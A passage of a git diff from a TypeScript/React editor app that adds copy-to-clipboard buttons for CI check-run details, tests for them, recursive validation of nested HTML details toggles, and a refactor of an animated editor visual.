+  text: 'Run the suite locally.',
+  annotations: [
+    {
+      path: 'src/main.ts',
+      startLine: 10,
+      endLine: 10,
+      annotationLevel: 'failure',
+      title: 'Type error',
+      message: 'Expected string',
+      rawDetails: 'Actual: number'
+    }
+  ],
+  jobs: [
+    {
+      id: 1,
+      name: 'unit',
+      status: 'completed',
+      conclusion: 'failure',
+      startedAt: null,
+      completedAt: null,
+      url: null,
+      logTail: 'AssertionError: expected true',
+      steps: [
+        {
+          name: 'test',
+          status: 'completed',
+          conclusion: 'failure',
+          startedAt: null,
+          completedAt: null
+        }
+      ]
+    }
+  ]
+}
+
+describe('CheckRunDetailsPanel card copy actions', () => {
+  it('renders a copy action for every card and copies each card payload', async () => {
+    render(
+      <TooltipProvider>
+        <CheckRunDetailsPanel
+          check={check}
+          details={details}
+          loading={false}
+          error={null}
+          openUrl={null}
+          worktreeId={null}
+        />
+      </TooltipProvider>
+    )
+
+    fireEvent.click(screen.getByRole('button', { name: 'Copy output' }))
+    fireEvent.click(screen.getByRole('button', { name: 'Copy annotations' }))
+    fireEvent.click(screen.getByRole('button', { name: 'Copy jobs' }))
+
+    await waitFor(() => expect(writeClipboardText).toHaveBeenCalledTimes(3))
+    expect(writeClipboardText).toHaveBeenNthCalledWith(
+      1,
+      'Build failed\n\nOne test failed.\n\nRun the suite locally.'
+    )
+    expect(writeClipboardText).toHaveBeenNthCalledWith(
+      2,
+      'src/main.ts:10\nfailure\nType error\nExpected string\nActual: number'
+    )
+    expect(writeClipboardText).toHaveBeenNthCalledWith(
+      3,
+      'unit: failure\ntest: failure\nAssertionError: expected true'
+    )
+  })
+})
diff --git a/src/renderer/src/components/editor/CheckRunDetailsPanel.tsx b/src/renderer/src/components/editor/CheckRunDetailsPanel.tsx
index edf79624cc5..61953989b36 100644
--- a/src/renderer/src/components/editor/CheckRunDetailsPanel.tsx
+++ b/src/renderer/src/components/editor/CheckRunDetailsPanel.tsx
@@ -7,8 +7,10 @@ import type { PRCheckDetail, PRCheckRunDetails } from '../../../../shared/github
 import { SourceControlFixSplitButton } from '@/components/right-sidebar/source-control-fix-split-button'
 import { translate } from '@/i18n/i18n'
 import { useCheckRunDetailsFixWithAI } from './check-run-details-fix-with-ai'
+import { formatCheckRunOutputForClipboard } from './check-run-clipboard-text'
 import { CheckRunAnnotations } from './CheckRunAnnotations'
 import { CheckRunJobs } from './CheckRunJobs'
+import { CheckRunCopyButton } from './CheckRunCopyButton'
 
 function formatCheckTimestamp(value: string | null | undefined): string | null {
   if (!value) {
@@ -124,6 +126,7 @@ export function CheckRunDetailsPanel({
   const hasOutput = Boolean(details?.title || details?.summary || details?.text)
   const hasAnnotations = (details?.annotations.length ?? 0) > 0
   const hasJobs = jobs.length > 0
+  const outputClipboardText = details ? formatCheckRunOutputForClipboard(details) : ''
 
   return (
     <div className="flex h-full min-h-0 flex-col bg-editor-surface">
@@ -268,8 +271,17 @@ export function CheckRunDetailsPanel({
 
             {hasOutput && (
               <section className="rounded-md border border-border bg-background">
-                <div className="border-b border-border px-3 py-2 text-sm font-medium">
-                  {translate('auto.components.editor.CheckRunDetailsPanel.d098e5529a', 'Output')}
+                <div className="flex items-center justify-between border-b border-border px-3 py-2">
+                  <div className="text-sm font-medium">
+                    {translate('auto.components.editor.CheckRunDetailsPanel.d098e5529a', 'Output')}
+                  </div>
+                  <CheckRunCopyButton
+                    text={outputClipboardText}
+                    label={translate(
+                      'auto.components.editor.CheckRunDetailsPanel.copyOutput',
+                      'Copy output'
+                    )}
+                  />
                 </div>
                 <div className="px-3 py-3">
                   {details?.title && (
diff --git a/src/renderer/src/components/editor/CheckRunJobs.tsx b/src/renderer/src/components/editor/CheckRunJobs.tsx
index 3fedd9f7569..3b39f8fdff9 100644
--- a/src/renderer/src/components/editor/CheckRunJobs.tsx
+++ b/src/renderer/src/components/editor/CheckRunJobs.tsx
@@ -5,6 +5,8 @@ import { translate } from '@/i18n/i18n'
 import { cn } from '@/lib/utils'
 import type { PRCheckJob, PRCheckStep } from '../../../../shared/github/check-types'
 import { resolveStepOutcome, summarizeJobSteps, type StepOutcome } from './check-job-step-status'
+import { formatJobsForClipboard } from './check-run-clipboard-text'
+import { CheckRunCopyButton } from './CheckRunCopyButton'
 
 function StepOutcomeIcon({ outcome }: { outcome: StepOutcome }): React.JSX.Element {
   switch (outcome) {
@@ -149,12 +151,23 @@ export function CheckRunJobs({
   jobs: PRCheckJob[]
   hasFailedJobs: boolean
 }): React.JSX.Element {
+  const clipboardText = formatJobsForClipboard(
+    jobs,
+    translate('auto.components.editor.CheckRunDetailsPanel.ee07b33924', 'unknown')
+  )
+
   return (
     <section className="rounded-md border border-border bg-background">
-      <div className="border-b border-border px-3 py-2 text-sm font-medium">
-        {hasFailedJobs
-          ? translate('auto.components.editor.CheckRunDetailsPanel.066fedd446', 'Failed jobs')
-          : translate('auto.components.editor.CheckRunDetailsPanel.49731703ea', 'Jobs')}
+      <div className="flex items-center justify-between border-b border-border px-3 py-2">
+        <div className="text-sm font-medium">
+          {hasFailedJobs
+            ? translate('auto.components.editor.CheckRunDetailsPanel.066fedd446', 'Failed jobs')
+            : translate('auto.components.editor.CheckRunDetailsPanel.49731703ea', 'Jobs')}
+        </div>
+        <CheckRunCopyButton
+          text={clipboardText}
+          label={translate('auto.components.editor.CheckRunJobs.copy', 'Copy jobs')}
+        />
       </div>
       <div className="divide-y divide-border/50">
         {jobs.map((job, index) => (
diff --git a/src/renderer/src/components/editor/EditorPanelShell.header.test.tsx b/src/renderer/src/components/editor/EditorPanelShell.header.test.tsx
new file mode 100644
index 00000000000..2ea5003dbd4
--- /dev/null
+++ b/src/renderer/src/components/editor/EditorPanelShell.header.test.tsx
@@ -0,0 +1,124 @@
+import { renderToStaticMarkup } from 'react-dom/server'
+import { describe, expect, it, vi } from 'vitest'
+import type { OpenFile } from '@/store/slices/editor'
+import { EditorPanelShell } from './EditorPanelShell'
+
+// Why stub both children: the claim under test is which of them the shell renders for a given tab
+// mode, and mounting the real editor surface would drag in Monaco for a layout question.
+vi.mock('./EditorPanelHeader', () => ({
+  EditorPanelHeader: () => <div data-editor-panel-header />
+}))
+
+vi.mock('./EditorContent', () => ({
+  EditorContent: () => <div data-editor-content />
+}))
+
+vi.mock('./UntitledFileRenameDialog', () => ({
+  UntitledFileRenameDialog: () => null
+}))
+
+vi.mock('@/store', () => ({
+  useAppStore: Object.assign(
+    (selector: (state: Record<string, unknown>) => unknown) => selector({ worktreesByRepo: {} }),
+    { getState: () => ({ worktreesByRepo: {} }) }
+  )
+}))
+
+function openFile(mode: OpenFile['mode']): OpenFile {
+  return {
+    id: `file-${mode}`,
+    filePath: '/home/alice/docs/report/index.html',
+    relativePath: 'report/index.html',
+    worktreeId: 'wt-1',
+    language: 'html',
+    mode
+  } as OpenFile
+}
+
+function renderShell(file: OpenFile, isCombinedDiff = false): string {
+  const model = {
+    isCombinedDiff,
+    isSingleDiff: false,
+    isDiffSurface: false,
+    isMarkdown: false,
+    isMermaid: false,
+    isCsv: false,
+    isNotebook: false,
+    hasEditorToggle: false,
+    availableEditorToggleModes: [],
+    effectiveToggleValue: 'edit',
+    canOpenPreviewToSide: false,
+    canShowMarkdownPreview: false,
+    canShowMarkdownTableOfContents: false,
+    isMarkdownTableOfContentsDisabled: false,
+    shouldShowMarkdownExportAction: false,
+    canExportMarkdownToPdf: false,
+    openFileState: { canOpen: false },
+    worktreeEntries: [],
+    resolvedLanguage: 'html',
+    mdViewMode: 'rich'
+  }
+  const noop = (): void => {}
+  return renderToStaticMarkup(
+    <EditorPanelShell
+      panelRef={null}
+      activeFile={file}
+      activeViewStateId={file.id}
+      model={model as never}
+      copiedPathVisible={false}
+      showMarkdownTableOfContents={false}
+      canShowMarkdownFrontmatterToggle={false}
+      markdownFrontmatterVisible={false}
+      sideBySide={false}
+      openFiles={[file]}
+      fileContents={{}}
+      diffContents={{}}
+      editorDrafts={{}}
+      pendingEditorReveal={null}
+      renameDialogFile={null}
+      renameError={null}
+      disableRenameBrowse={false}
+      onCopyPath={noop}
+      onOpenDiffTargetFile={noop}
+      onOpenPreviewToSide={noop}
+      onOpenMarkdownPreview={noop}
+      onOpenContainingFolder={noop}
+      onToggleSideBySide={noop}
+      onEditorToggleChange={noop}
+      onToggleMarkdownTableOfContents={noop}
+      onToggleMarkdownFrontmatter={noop}
+      onExportMarkdownToPdf={noop}
+      onContentChange={noop}
+      onContentChangeForFile={noop}
+      onDirtyStateHint={noop}
+      onSave={async () => true}
+      onSaveForFile={async () => true}
+      onReloadContent={noop}
+      onCloseMarkdownTableOfContents={noop}
+      onCloseRenameDialog={noop}
+      onRenameConfirm={async () => {}}
+      markdownAnnotationsEnabled={false}
+    />
+  )
+}
+
+describe('EditorPanelShell path header', () => {
+  // Why assert every remaining mode: a gate that hides the header everywhere would satisfy the
+  // check-details claim below while silently removing the path from every ordinary file tab.
+  it.each(['edit', 'diff', 'conflict-review', 'markdown-preview'] as const)(
+    'keeps the header for a %s tab',
+    (mode) => {
+      expect(renderShell(openFile(mode))).toContain('data-editor-panel-header')
+    }
+  )
+
+  it('hides the header for check-details and combined diffs, as it always has', () => {
+    expect(renderShell(openFile('check-details'))).not.toContain('data-editor-panel-header')
+    expect(renderShell(openFile('edit'), true)).not.toContain('data-editor-panel-header')
+  })
+
+  it('renders the editor surface either way', () => {
+    expect(renderShell(openFile('check-details'))).toContain('data-editor-content')
+    expect(renderShell(openFile('edit'))).toContain('data-editor-content')
+  })
+})
diff --git a/src/renderer/src/components/editor/EditorPanelShell.tsx b/src/renderer/src/components/editor/EditorPanelShell.tsx
index 7ecce8535f3..62b399c3b3c 100644
--- a/src/renderer/src/components/editor/EditorPanelShell.tsx
+++ b/src/renderer/src/components/editor/EditorPanelShell.tsx
@@ -8,6 +8,7 @@ import { UntitledFileRenameDialog } from './UntitledFileRenameDialog'
 import type { getEditorPanelRenderModel } from './editor-panel-render-model'
 import type { DiffContent, FileContent } from './editor-panel-content-types'
 import type { EditorToggleValue } from './EditorViewToggle'
+import { shouldShowEditorPanelHeader } from './editor-header'
 import { getUntitledFileRoot } from './untitled-file-rename-path'
 import { translate } from '@/i18n/i18n'
 import type { ArtifactWriteRequest } from '../../../../shared/artifacts'
@@ -97,7 +98,7 @@ export function EditorPanelShell({
 }: EditorPanelShellProps): JSX.Element {
   return (
     <div ref={panelRef} className="flex flex-col flex-1 min-w-0 min-h-0">
-      {!model.isCombinedDiff && activeFile.mode !== 'check-details' && (
+      {shouldShowEditorPanelHeader(activeFile, model.isCombinedDiff) && (
         <EditorPanelHeader
           activeFile={activeFile}
           copiedPathVisible={copiedPathVisible}
diff --git a/src/renderer/src/components/editor/check-run-clipboard-text.test.ts b/src/renderer/src/components/editor/check-run-clipboard-text.test.ts
new file mode 100644
index 00000000000..c5ea38cad9f
--- /dev/null
+++ b/src/renderer/src/components/editor/check-run-clipboard-text.test.ts
@@ -0,0 +1,89 @@
+import { describe, expect, it } from 'vitest'
+import type { PRCheckAnnotation, PRCheckJob } from '../../../../shared/github/check-types'
+import {
+  formatAnnotationsForClipboard,
+  formatCheckRunOutputForClipboard,
+  formatJobsForClipboard
+} from './check-run-clipboard-text'
+
+describe('check run clipboard text', () => {
+  it('formats all output sections in display order', () => {
+    expect(
+      formatCheckRunOutputForClipboard({
+        title: 'Build failed',
+        summary: 'One test failed.',
+        text: 'Run the suite locally.'
+      })
+    ).toBe('Build failed\n\nOne test failed.\n\nRun the suite locally.')
+
+    expect(
+      formatCheckRunOutputForClipboard({ title: null, summary: 'Summary only', text: null })
+    ).toBe('Summary only')
+  })
+
+  it('formats annotations with localized missing-path labels and separators', () => {
+    const annotations: PRCheckAnnotation[] = [
+      {
+        path: 'src/main.ts',
+        startLine: 10,
+        endLine: 10,
+        annotationLevel: 'failure',
+        title: 'Type error',
+        message: 'Expected string',
+        rawDetails: 'Actual: number'
+      },
+      {
+        path: null,
+        startLine: null,
+        endLine: null,
+        annotationLevel: null,
+        title: null,
+        message: 'Workflow failed',
+        rawDetails: null
+      }
+    ]
+
+    expect(formatAnnotationsForClipboard(annotations, 'Anotacion')).toBe(
+      'src/main.ts:10\nfailure\nType error\nExpected string\nActual: number\n\nAnotacion\nWorkflow failed'
+    )
+  })
+
+  it('formats jobs with localized unknown states and log excerpts', () => {
+    const jobs: PRCheckJob[] = [
+      {
+        id: 1,
+        name: 'unit',
+        status: null,
+        conclusion: 'failure',
+        startedAt: null,
+        completedAt: null,
+        url: null,
+        logTail: 'AssertionError: expected true',
+        steps: [
+          {
+            name: 'test',
+            status: null,
+            conclusion: null,
+            startedAt: null,
+            completedAt: null
+          }
+        ]
+      },
+      {
+        id: 2,
+        name: 'deploy',
+        status: null,
+        conclusion: null,
+        startedAt: null,
+        completedAt: null,
+        url: null,
+        logTail: null,
+        steps: []
+      }
+    ]
+
+    expect(formatJobsForClipboard(jobs, 'desconocido')).toBe(
+      'unit: failure\ntest: desconocido\nAssertionError: expected true\n\ndeploy: desconocido'
+    )
+  })
+})
diff --git a/src/renderer/src/components/editor/check-run-clipboard-text.ts b/src/renderer/src/components/editor/check-run-clipboard-text.ts
new file mode 100644
index 00000000000..f4464c48fd6
--- /dev/null
+++ b/src/renderer/src/components/editor/check-run-clipboard-text.ts
@@ -0,0 +1,48 @@
+import type {
+  PRCheckAnnotation,
+  PRCheckJob,
+  PRCheckRunDetails
+} from '../../../../shared/github/check-types'
+
+export function formatCheckRunOutputForClipboard(
+  details: Pick<PRCheckRunDetails, 'title' | 'summary' | 'text'>
+): string {
+  return [details.title, details.summary, details.text]
+    .filter((value): value is string => Boolean(value))
+    .join('\n\n')
+}
+
+export function formatAnnotationsForClipboard(
+  annotations: PRCheckAnnotation[],
+  annotationFallback: string
+): string {
+  return annotations
+    .map((annotation) => {
+      const location = `${annotation.path ?? annotationFallback}${
+        annotation.startLine ? `:${annotation.startLine}` : ''
+      }`
+      return [
+        location,
+        annotation.annotationLevel,
+        annotation.title,
+        annotation.message,
+        annotation.rawDetails
+      ]
+        .filter((value): value is string => Boolean(value))
+        .join('\n')
+    })
+    .join('\n\n')
+}
+
+export function formatJobsForClipboard(jobs: PRCheckJob[], unknownLabel: string): string {
+  return jobs
+    .map((job) => {
+      const steps = job.steps.map(
+        (step) => `${step.name}: ${step.conclusion ?? step.status ?? unknownLabel}`
+      )
+      return [`${job.name}: ${job.conclusion ?? job.status ?? unknownLabel}`, ...steps, job.logTail]
+        .filter((value): value is string => Boolean(value))
+        .join('\n')
+    })
+    .join('\n\n')
+}
diff --git a/src/renderer/src/components/editor/details-markdown-html.test.ts b/src/renderer/src/components/editor/details-markdown-html.test.ts
index c4e1493a198..85f8f332cfe 100644
--- a/src/renderer/src/components/editor/details-markdown-html.test.ts
+++ b/src/renderer/src/components/editor/details-markdown-html.test.ts
@@ -2,11 +2,25 @@ import { afterEach, describe, expect, it, vi } from 'vitest'
 import {
   extractDetailsSummaryHtml,
   isEditableDetailsHtmlBlock,
+  matchDetailsHtmlBlock,
   parseDetailsAttributes,
   parseToggleHeadingVariant,
   type DetailsHtmlBlock
 } from './details-markdown-html'
 
+function nestedToggles(depth: number): string {
+  let html = '<details class="orca-details" open>\n<summary>leaf</summary>\n\nBody\n\n</details>'
+  for (let level = depth - 1; level > 0; level -= 1) {
+    html = `<details class="orca-details" open>\n<summary>level ${level}</summary>\n\n${html}\n\n</details>`
+  }
+  return html
+}
+
+function isEditableHtml(html: string): boolean {
+  const block = matchDetailsHtmlBlock(html, 0)
+  return block !== null && isEditableDetailsHtmlBlock(block)
+}
+
 afterEach(() => {
   vi.restoreAllMocks()
 })
@@ -34,8 +48,7 @@ describe('details markdown html', () => {
     const block: DetailsHtmlBlock = {
       raw: '',
       openingAttributes: '',
-      inner: `<summary>${'Heading line\n'.repeat(1_000)}</summary><p>Body</p>`,
-      hasNestedDetails: false
+      inner: `<summary>${'Heading line\n'.repeat(1_000)}</summary><p>Body</p>`
     }
 
     expect(isEditableDetailsHtmlBlock(block)).toBe(true)
@@ -61,17 +74,67 @@ describe('details markdown html', () => {
     const editableHeading5: DetailsHtmlBlock = {
       raw: '',
       openingAttributes: ' data-orca-toggle="heading-5"',
-      inner: '<summary>Toggle</summary><p>Body</p>',
-      hasNestedDetails: false
+      inner: '<summary>Toggle</summary><p>Body</p>'
     }
     const unsupportedHeading6: DetailsHtmlBlock = {
       raw: '',
       openingAttributes: ' data-orca-toggle="heading-6"',
-      inner: '<summary>Toggle</summary><p>Body</p>',
-      hasNestedDetails: false
+      inner: '<summary>Toggle</summary><p>Body</p>'
     }
 
     expect(isEditableDetailsHtmlBlock(editableHeading5)).toBe(true)
     expect(isEditableDetailsHtmlBlock(unsupportedHeading6)).toBe(false)
   })
+
+  it('accepts nested toggles whose descendants are all editable', () => {
+    expect(isEditableHtml(nestedToggles(2))).toBe(true)
+    expect(isEditableHtml(nestedToggles(16))).toBe(true)
+  })
+
+  it('bounds each of many sibling nested toggles independently', () => {
+    const siblings = (count: number, extra = ''): string =>
+      Array.from(
+        { length: count },
+        (_, index) =>
+          `<details class="orca-details"${extra}>\n<summary>sibling ${index}</summary>\n\nBody\n\n</details>`
+      ).join('\n\n')
+    const wrap = (body: string): string =>
+      `<details class="orca-details">\n<summary>Outer</summary>\n\n${body}\n\n</details>`
+
+    expect(isEditableHtml(wrap(siblings(40)))).toBe(true)
+    // A single non-editable sibling must still reject, so sharing fence ranges
+    // cannot make later siblings inherit an earlier sibling's boundaries.
+    expect(isEditableHtml(wrap(`${siblings(20)}\n\n${siblings(1, ' id="x"')}`))).toBe(false)
+  })
+
+  it('rejects a toggle whose nested toggle is not itself editable', () => {
+    const block: DetailsHtmlBlock = {
+      raw: '',
+      openingAttributes: ' class="orca-details"',
+      inner: '<summary>Outer</summary><details id="x"><summary>Inner</summary><p>Body</p></details>'
+    }
+
+    expect(isEditableDetailsHtmlBlock(block)).toBe(false)
+  })
+
+  it('rejects nesting past the recursion guard instead of recursing without bound', () => {
+    expect(isEditableHtml(nestedToggles(17))).toBe(false)
+    expect(isEditableHtml(nestedToggles(400))).toBe(false)
+  })
+
+  it('rejects unbalanced and non-toggle tags that start with details', () => {
+    const unbalanced: DetailsHtmlBlock = {
+      raw: '',
+      openingAttributes: '',
+      inner: '<summary>Outer</summary><details><summary>Inner</summary>'
+    }
+    const lookalike: DetailsHtmlBlock = {
+      raw: '',
+      openingAttributes: '',
+      inner: '<summary>Outer</summary><detailsish>Body</detailsish>'
+    }
+
+    expect(isEditableDetailsHtmlBlock(unbalanced)).toBe(false)
+    expect(isEditableDetailsHtmlBlock(lookalike)).toBe(false)
+  })
 })
diff --git a/src/renderer/src/components/editor/details-markdown-html.ts b/src/renderer/src/components/editor/details-markdown-html.ts
index a2f4238b658..109005460dc 100644
--- a/src/renderer/src/components/editor/details-markdown-html.ts
+++ b/src/renderer/src/components/editor/details-markdown-html.ts
@@ -34,9 +34,12 @@ export type DetailsHtmlBlock = {
   raw: string
   openingAttributes: string
   inner: string
-  hasNestedDetails: boolean
 }
 
+// Fence ranges depend only on the scanned string, so callers scanning one body
+// repeatedly compute them once and share them across sibling matches.
+export type MarkdownFenceRanges = readonly (readonly [number, number])[]
+
 export type DetailsSummaryHtml = {
   attributes: string
   content: string
@@ -88,7 +91,7 @@ export function renderDetailsAttributes(attrs: Record<string, unknown> | undefin
   return attributes.join(' ')
 }
 
-function markdownFenceRanges(content: string): [number, number][] {
+function markdownFenceRanges(content: string): MarkdownFenceRanges {
   const ranges: [number, number][] = []
   let offset = 0
   let openFence: { marker: '`' | '~'; length: number; start: number } | null = null
@@ -130,11 +133,15 @@ function markdownFenceRanges(content: string): [number, number][] {
   return ranges
 }
 
-function isInsideRange(index: number, ranges: [number, number][]): boolean {
+function isInsideRange(index: number, ranges: MarkdownFenceRanges): boolean {
   return ranges.some(([start, end]) => index >= start && index < end)
 }
 
-export function matchDetailsHtmlBlock(content: string, start: number): DetailsHtmlBlock | null {
+export function matchDetailsHtmlBlock(
+  content: string,
+  start: number,
+  precomputedFenceRanges?: MarkdownFenceRanges
+): DetailsHtmlBlock | null {
   const openingMatch = content.slice(start).match(/^<details\b[^>]*>/i)
   if (!openingMatch) {
     return null
@@ -142,10 +149,9 @@ export function matchDetailsHtmlBlock(content: string, start: number): DetailsHt
 
   const detailsTagPattern = /<\/?details\b[^>]*>/gi
   detailsTagPattern.lastIndex = start
-  const fenceRanges = markdownFenceRanges(content)
+  const fenceRanges = precomputedFenceRanges ?? markdownFenceRanges(content)
 
   let depth = 0
-  let hasNestedDetails = false
 
   for (;;) {
     const tagMatch = detailsTagPattern.exec(content)
@@ -167,14 +173,10 @@ export function matchDetailsHtmlBlock(content: string, start: number): DetailsHt
         return {
           raw: content.slice(start, closingEnd),
           openingAttributes: openingMatch[0].replace(/^<details\b/i, '').replace(/>$/u, ''),
-          inner: content.slice(start + openingMatch[0].length, tagMatch.index),
-          hasNestedDetails
+          inner: content.slice(start + openingMatch[0].length, tagMatch.index)
         }
       }
     } else {
-      if (depth > 0) {
-        hasNestedDetails = true
-      }
       depth += 1
     }
   }
@@ -267,11 +269,40 @@ function isHtmlTagNamePart(code: number): boolean {
   )
 }
 
-export function isEditableDetailsHtmlBlock(block: DetailsHtmlBlock): boolean {
-  if (block.hasNestedDetails) {
-    return false
-  }
+// Why: nested toggles validate recursively and each level rescans its own body,
+// so a pathological file would otherwise blow the stack or go quadratic.
+const MAX_DETAILS_NESTING_LEVELS = 16
 
+// Removes nested toggles that are themselves editable, so the caller's raw-tag
+// scan sees only the body's own markup. Null when a nested toggle can't be one.
+function stripEditableNestedDetails(bodyHtml: string, nestingLevel: number): string | null {
+  let result = ''
+  let index = 0
+  // Why: without sharing this, N sibling toggles rescan the whole body N times.
+  let fenceRanges: MarkdownFenceRanges | null = null
+
+  for (;;) {
+    const nestedStart = indexOfAsciiIgnoreCase(bodyHtml, '<details', index)
+    if (nestedStart === -1) {
+      return result + bodyHtml.slice(index)
+    }
+
+    if (nestingLevel >= MAX_DETAILS_NESTING_LEVELS) {
+      return null
+    }
+
+    fenceRanges ??= markdownFenceRanges(bodyHtml)
+    const nested = matchDetailsHtmlBlock(bodyHtml, nestedStart, fenceRanges)
+    if (!nested || !isEditableDetailsHtmlBlock(nested, nestingLevel + 1)) {
+      return null
+    }
+
+    result += bodyHtml.slice(index, nestedStart)
+    index = nestedStart + nested.raw.length
+  }
+}
+
+export function isEditableDetailsHtmlBlock(block: DetailsHtmlBlock, nestingLevel = 1): boolean {
   if (!hasOnlySupportedDetailsAttributes(block.openingAttributes)) {
     return false
   }
@@ -289,7 +320,11 @@ export function isEditableDetailsHtmlBlock(block: DetailsHtmlBlock): boolean {
     return false
   }
 
-  const bodyHtml = block.inner.slice(summary.rawLength)
+  const bodyHtml = stripEditableNestedDetails(block.inner.slice(summary.rawLength), nestingLevel)
+  if (bodyHtml === null) {
+    return false
+  }
+
   if (!hasOnlyPlainParagraphAndBreakTags(bodyHtml)) {
     return false
   }
diff --git a/src/renderer/src/components/editor/editor-header.ts b/src/renderer/src/components/editor/editor-header.ts
index c511d401d3b..8c41fd199ed 100644
--- a/src/renderer/src/components/editor/editor-header.ts
+++ b/src/renderer/src/components/editor/editor-header.ts
@@ -14,6 +14,11 @@ export type EditorHeaderOpenFileState = {
   canOpen: boolean
 }
 
+/** Whether the panel shows its own path header; check-details names the document itself. */
+export function shouldShowEditorPanelHeader(file: OpenFile, isCombinedDiff: boolean): boolean {
+  return !isCombinedDiff && file.mode !== 'check-details'
+}
+
 export function getEditorHeaderCopyState(file: OpenFile): EditorHeaderCopyState {
   if (file.mode === 'conflict-review') {
     return {
diff --git a/src/renderer/src/components/editor/markdown-round-trip.test.ts b/src/renderer/src/components/editor/markdown-round-trip.test.ts
index fabdc6b4d43..3f896f80e38 100644
--- a/src/renderer/src/components/editor/markdown-round-trip.test.ts
+++ b/src/renderer/src/components/editor/markdown-round-trip.test.ts
@@ -186,9 +186,74 @@ describe('rich markdown round trip', () => {
     expect(roundTripMarkdown(input)).toBe(input.trimEnd())
   })
 
-  it('preserves nested details blocks as passthrough html', () => {
+  it('reopens nested toggles as editable details blocks', () => {
+    expect(
+      roundTripMarkdown(
+        '<details><summary>Outer</summary><details><summary>Inner</summary><p>Body</p></details></details>\n'
+      )
+    ).toBe(
+      [
+        '<details class="orca-details">',
+        '<summary>Outer</summary>',
+        '',
+        '<details class="orca-details">',
+        '<summary>Inner</summary>',
+        '',
+        'Body',
+        '',
+        '</details>',
+        '',
+        '</details>'
+      ].join('\n')
+    )
+  })
+
+  it('round-trips an orca-authored nested toggle unchanged', () => {
+    const input = [
+      '<details class="orca-details" data-orca-toggle="heading-3" open>',
+      '<summary>08/26/2026</summary>',
+      '',
+      '<details class="orca-details" open>',
+      '<summary>goals</summary>',
+      '',
+      '- Read X post',
+      '  - Collab',
+      '',
+      '</details>',
+      '',
+      '- after inner',
+      '',
+      '</details>',
+      ''
+    ].join('\n')
+    expect(roundTripMarkdown(input)).toBe(input.trimEnd())
+  })
+
+  it('keeps nested toggle bodies editable rather than inert raw html', () => {
+    const markdown = markdownAfterTextReplace(
+      [
+        '<details class="orca-details" open>',
+        '<summary>Outer</summary>',
+        '',
+        '<details class="orca-details" open>',
+        '<summary>Inner</summary>',
+        '',
+        'Body',
+        '',
+        '</details>',
+        '',
+        '</details>',
+        ''
+      ].join('\n'),
+      'Body',
+      'Edited body'
+    )
+    expect(markdown).toContain('Edited body')
+  })
+
+  it('preserves a nested toggle that is not itself editable as passthrough html', () => {
     const input =
-      '<details><summary>Outer</summary><details><summary>Inner</summary><p>Body</p></details></details>\n'
+      '<details><summary>Outer</summary><details id="x"><summary>Inner</summary><p>Body</p></details></details>\n'
     expect(roundTripMarkdown(input)).toBe(input.trimEnd())
   })
 
diff --git a/src/renderer/src/components/feature-wall/EditorAnimatedVisual.tsx b/src/renderer/src/components/feature-wall/EditorAnimatedVisual.tsx
index ff02e98bf82..e18af542824 100644
--- a/src/renderer/src/components/feature-wall/EditorAnimatedVisual.tsx
+++ b/src/renderer/src/components/feature-wall/EditorAnimatedVisual.tsx
@@ -1,25 +1,16 @@
-/* eslint-disable max-lines -- Why: this animation is a self-contained storyboard; splitting the slash-menu DOM, toolbar SVGs, and timing constants into separate modules would obscure the sequence rather than clarify it. */
-import { useEffect, useRef } from 'react'
+import { useRef } from 'react'
 import type { JSX, ReactNode } from 'react'
 import { cn } from '@/lib/utils'
 import { getShortcutPlatform } from '@/hooks/useShortcutLabel'
 import { translate } from '@/i18n/i18n'
+import { TB_ICON, ToolbarBtn, ToolbarSep } from './editor-animated-toolbar-icons'
+import { activeLineClass, caretClass } from './editor-animated-visual-markup'
+import { useEditorAnimatedVisualAnimation } from './use-editor-animated-visual-animation'
 
 // Why: the visual leans on direct DOM mutation (typing into a node, swapping
 // classes, anchoring a floating menu by measured rect) so the loop reads
 // like the HTML mock instead of fighting React's reconciliation.
 
-const PRE_HOVER_MS = 450
-const TYPE_PER_CHAR_MS = 60
-const POST_TYPE_MS = 120
-const MENU_HOLD_MS = 900
-const CLICK_RIPPLE_MS = 220
-const POST_CLICK_MS = 140
-const POST_H1_REVEAL_MS = 260
-const POST_H1_TYPE_MS = 700
-const NEW_LINE_HOLD_MS = 380
-const FINAL_HOLD_MS = 2200
-
 const KBD_CLASS_DOC =
   'rounded border border-border bg-card px-1.5 py-0.5 font-mono text-[10.5px] text-muted-foreground'
 
@@ -44,208 +35,6 @@ function CursorIcon(): JSX.Element {
   )
 }
 
-// Toolbar icons mirror RichMarkdownToolbar.tsx — same families so the
-// surface reads as Orca's actual editor, not a generic editor.
-const TB_ICON: Record<string, JSX.Element> = {
-  pilcrow: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.4}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M11 3H6.5a3 3 0 0 0 0 6H8" />
-      <path d="M9 3v11" />
-      <path d="M12 3v11" />
-    </svg>
-  ),
-  h1: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M3 4v8" />
-      <path d="M9 4v8" />
-      <path d="M3 8h6" />
-      <path d="M12 6l1-1v7" />
-    </svg>
-  ),
-  h2: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M3 4v8" />
-      <path d="M9 4v8" />
-      <path d="M3 8h6" />
-      <path d="M11 6.2A1.5 1.5 0 0 1 14 6.5c0 1.4-3 2-3 5.5h3" />
-    </svg>
-  ),
-  h3: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M3 4v8" />
-      <path d="M9 4v8" />
-      <path d="M3 8h6" />
-      <path d="M11 6.2A1.5 1.5 0 0 1 14 6.5c0 1.5-3 1.5-3 1.5s3 0 3 2c0 1.4-2.5 1.7-3 1" />
-    </svg>
-  ),
-  bold: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
-      strokeLinejoin="round"
-    >
-      <path d="M5 3h4a2.5 2.5 0 0 1 0 5H5z" />
-      <path d="M5 8h4.5a2.5 2.5 0 0 1 0 5H5z" />
-    </svg>
-  ),
-  italic: (
-    <svg
-      viewBox="0 0 16 16"
-      fill="none"
-      stroke="currentColor"
-      strokeWidth={1.5}
-      strokeLinecap="round"
